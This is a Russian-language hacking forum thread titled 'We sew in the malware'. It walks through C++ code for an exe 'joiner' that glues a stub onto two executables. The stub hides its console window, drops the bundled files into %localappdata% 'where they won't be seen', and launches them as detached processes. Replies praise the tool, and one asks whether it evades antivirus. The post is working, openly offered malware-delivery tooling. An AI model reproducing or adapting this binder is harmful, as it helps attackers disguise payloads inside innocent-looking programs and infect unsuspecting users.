Загрузка...

Joiner in C++ | We sew in the malware

Thread in C/C++ created by 1mNotS0rr1 Nov 30, 2019. 3515 views

  1. 1mNotS0rr1
    1mNotS0rr1 Topic starter Nov 30, 2019 Banned 119 May 26, 2018
    [IMG]
    В этой статье я покажу и разжую как написать легкий биндер exe-файлов на C++


    [IMG]
    -2 руки (минимум по одному пальцу на каждой)
    -Visual studio любой версии (у меня 2017)


    [IMG]
    Создаем проект


    Жмем вверху Файл -> Создать -> Проект
    Выбираем C++, консольное приложение, вводим желаемое имя файла и жмем ок


    [IMG]


    Отлично. Самое сложное позади. По статистике 99% людей заваливаются уже на этапе создания проекта

    [IMG]
    Пишем Joiner-упаковщик
    2.1 Импортируем нужные нам библиотеки:
    [IMG]
    1 библиотека дефолтная.
    2 библиотека нужна для работы с файлами.
    3 библиотека нужна для вывода\считывания чего либо в консоли.

    2.2 Ставим setlocale для того чтобы консоль поддерживала русский язык
    Code
    setlocale(LC_ALL, "ru");


    2.3 Обьявляем нужные нам переменные:
    Code

    char ch;
    char star = '*';
    char file1[_MAX_PATH];
    char file2[_MAX_PATH];

    2.4 Просим пользователя ввести пути до файлов:
    Code

    cout << "Путь к первому файлу: ";
    cin >> file1;
    cout << "Пусь ко второму файлу: ";
    cin >> file2;

    2.5 Обьявляем файл где будут наши вклеенные exe и открываем для чтения файлы:

    Code

    ofstream Mix("Joined.exe", ios_base::binary); //Файл для записи наших exe

    ifstream nullBytes("src\\null.exe", ios_base::binary); ||файл который будет вытаскивать наши exe | о нем позже
    ifstream firstFile(file1, ios_base::binary); ||первый exe
    ifstream secondFile(file2, ios_base::binary);||второй exe

    2.6 Начинаем клеить файлы, сначала запишем наш распаковщик:
    Code

    //Записываем распаковщик
    while (!nullBytes.eof()) { || eof - чтение до конца файла
    nullBytes.get(ch); ||в ch записывается прочтенный байт
    Mix << ch;||записываем байт
    }


    2.7 Чтобы распаковщик знал где кончаются байты очередного exe пишем разделитель:

    Code

    for (int i = 0; i < 5; i++) {
    Mix << star;
    }
    nullBytes.close();

    2.8 Склеиваем файлы:

    Code

    //Записываем первый файл
    Mix.clear();
    Mix.seekp(0, ios_base::end);

    while (!firstFile.eof()) {
    firstFile.get(ch);
    Mix << ch;
    }
    for (int i = 0; i < 5; i++) {
    Mix << star;
    }
    firstFile.close();
    //Записываем первый файл

    //Записываем второй файл
    Mix.clear();
    Mix.seekp(0, ios_base::end);

    while (!secondFile.eof()) {
    secondFile.get(ch);
    Mix << ch;
    }
    secondFile.close();
    Mix.close();
    //Записываем второй файл
    return 0;
    Наш распаковщик готов и теперь у нас есть склеенные файлы. Теперь при запуске мы должны их достать и запустить.

    [IMG]
    Пишем распаковщик

    Распаковщик мы добавляли во 2 этапе. Мы записывали его перед файлами
    Теперь приступим к его реализации:

    3.1 Создаем новый проект аналогично упаковщику

    3.2 добавляем библиотеки, также обьявляем буффер:
    Code
        #include "stdafx.h"
    #include "windows.h"
    #include "Processthreadsapi.h"
    #include <fstream>;
    #include <iostream>
    #include <list>
    #define BUFFER 8192;
    3.3 При запуске прячем окно консоли:
    Code
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    3.4 Обьявляем нужные нам переменные:
    Code
        char value[MAX_PATH];
    DWORD buffSize = BUFFER;
    string s = "";
    3.5 Т.к. распаковывать файлы прямо в ту же папку где и запускается наш сшитый файл мы не можем по понятным причинам,
    мы должны распаковать их туда где их не будет видно.
    Т.к. моя любимая папка %localappdata% то в нее мы и будем все расспаковывать.
    В C\C++ я не нашел работающих функций для получения пути к папке, поэтому мы будем доставать путь через реестр:

    Code
    RegGetValueA(HKEY_LOCAL_MACHINE,
    "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Backup",
    "Local AppData", RRF_RT_ANY, NULL, (PVOID)&value, &buffSize)
    3.6 Теперь путь сохранен в массиве value[], сохраним путь в строку ибо так удобнее будет потом с ним работать:
    Code
        for (char i : value) {
    if (i == NULL) {
    break;
    }
    s += i;
    }
    3.7 Обьявляем переменные и открываем файлы для записи:
    Code
        string file1 = "\\source1.exe";
    string file2 = "\\source2.exe";


    ifstream null(argv[0], ios_base::binary);
    ofstream firstFile(s+file1, ios_base::binary);
    ofstream secondFile(s+file2, ios_base::binary);
    char ch;
    int i = 0;
    int endOfNull;
    int endOfFirst;
    3.8 Далее мы начинаем читать байты из себя:
    Code
        //Игнорируем байты нашего распаковщика
    while (true) {
    null.get(ch);
    if (ch == '*') {
    i++;
    if (i == 5) {
    endOfNull = null.tellg();
    break;
    }
    }
    if (ch != '*') {
    i = 0;
    }
    }
    //Игнорируем байты нашего распаковщика

    //байты первого файла
    while (true) {
    null.get(ch);
    if (ch == '*') {
    i++;
    if (i == 5) {
    endOfFirst = null.tellg();
    break;
    }
    }
    if (ch != '*') {
    i = 0;
    }
    }

    //байты первого файла
    null.seekg(endOfNull, ios_base::beg); //запоминаем местоположение 1-го файла

    //Достаем первый файл
    for (int i = endOfNull; i < endOfFirst; i++) {

    null.get(ch);
    firstFile << ch;
    }
    firstFile.close();
    //Достаем первый файл
    null.seekg(endOfFirst, ios_base::beg); //устанавливаем чтение с начала файла | не спрашивайте, просто нужно

    //Достаем второй файл
    while (!null.eof()) {
    null.get(ch);
    secondFile << ch;
    }

    secondFile.close();
    //Достаем второй файл
    null.close();
    3.9 И начинаем запуск наших файлов, дальше без комментариев:
    Code
        //Запускаем файлы

    list<char> mylist;
    list<char> mylist2;
    for (int i = 0; i < sizeof(value); i++) {
    if (value[i] == NULL) {
    break;
    }
    mylist.push_back(value[i]);
    }
    mylist2 = mylist;
    for (char i : file1) {
    mylist.push_back(i);
    }
    for (char i : file2) {
    mylist2.push_back(i);
    }
    //char* buff = new char[MAX_PATH];
    int suk1 = 0;
    char suk[100];
    for (char i : mylist) {
    suk[suk1] = i;
    suk1++;
    }
    for (int i = suk1; i < sizeof(suk); i++) {
    suk[i] = 0;
    }

    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    if (!CreateProcess(suk, NULL, NULL, NULL, FALSE, DETACHED_PROCESS, NULL, NULL, &si, &pi)){}
    WaitForSingleObject(pi.hProcess, INFINITE);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    suk1 = 0;
    for (char i : mylist2) {
    suk[suk1] = i;
    suk1++;
    }
    for (int i = suk1; i < sizeof(suk); i++) {
    suk[i] = 0;
    }

    if (!CreateProcess(suk, NULL, NULL, NULL, FALSE, DETACHED_PROCESS, NULL, NULL, &si, &pi)){}


    WaitForSingleObject(pi.hProcess, INFINITE);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return 0;
    [IMG]
    Для работы упаковщика нужен распаковщик. И он должен находится в папке src Рядом с упаковщиком.
    [IMG]
    После ввода обоих файлов консоль закрывается и в папке появляется сшитый файл
    Код полностью рабочий, тестился, проверялся и доведен со совершенства.

    Спасибо всем кто дочитал и что-то понял. А если не поняли, то все равно спасибо.
    Также спасибо MamkinHacker777 за оформление



     
  2. Baty
    Baty Dec 1, 2019 продаю статус 3195 Jan 15, 2018
    Годно, в закладки, однозначно:roflanZdarova:
     
  3. 1mNotS0rr1
    1mNotS0rr1 Topic starter Dec 3, 2019 Banned 119 May 26, 2018
    :hi:@Kikitrash,
     
  4. strafer
    strafer Dec 3, 2019 статус свободен, а ты нет 1351 Apr 20, 2019
    выглядит сочно
     
  5. 1mNotS0rr1
    1mNotS0rr1 Topic starter Dec 8, 2019 Banned 119 May 26, 2018
  6. цифры
    цифры Dec 8, 2019 I stress my thoughts I keep it fuckin' raw 772 Oct 16, 2019
    годно, риле, но авторку не дадут из-за хайдов
     
  7. 1mNotS0rr1
    1mNotS0rr1 Topic starter Dec 11, 2019 Banned 119 May 26, 2018
    цифры, убрал, теперь новокеки смогут смотреть это, если не дадут авторку удалю нахуй
     
  8. Aendy
    Aendy Dec 16, 2019 С++ 12 Dec 23, 2018
    вроде годна:cool_bun:
     
  9. kodaf666
    kodaf666 Dec 16, 2019 Banned 224 Jan 28, 2018
    Если не ошибаюсь, то визуалка весит до пизды и проще скачать Code Blocks
     
  10. 1mNotS0rr1
    1mNotS0rr1 Topic starter Dec 16, 2019 Banned 119 May 26, 2018
  11. 4EVERALON3
    4EVERALON3 Dec 16, 2019 Banned 69 Dec 15, 2019
    Спасибо , потому на заметку :)
     
  12. 1mNotS0rr1
    1mNotS0rr1 Topic starter Dec 18, 2019 Banned 119 May 26, 2018
  13. MamkinHacker777
    RaysMorgan @Block что насчёт авторки?
     
  14. ROOTER_inactive2924982
    Он Fud???
     
  15. Belial_inactive2729833
    Belial_inactive2729833 Feb 11, 2020 Владыка ада 7 Oct 26, 2019
  16. ROOTER_inactive2924982
  17. aquavenum
  18. ROOTER_inactive2924982
  19. renameduser_3040675
    Годно, однозначно годно
     
  20. Milez
    Milez Apr 10, 2020 990 Oct 19, 2018
    Побаловаться норм штучка
     
Top
Loading...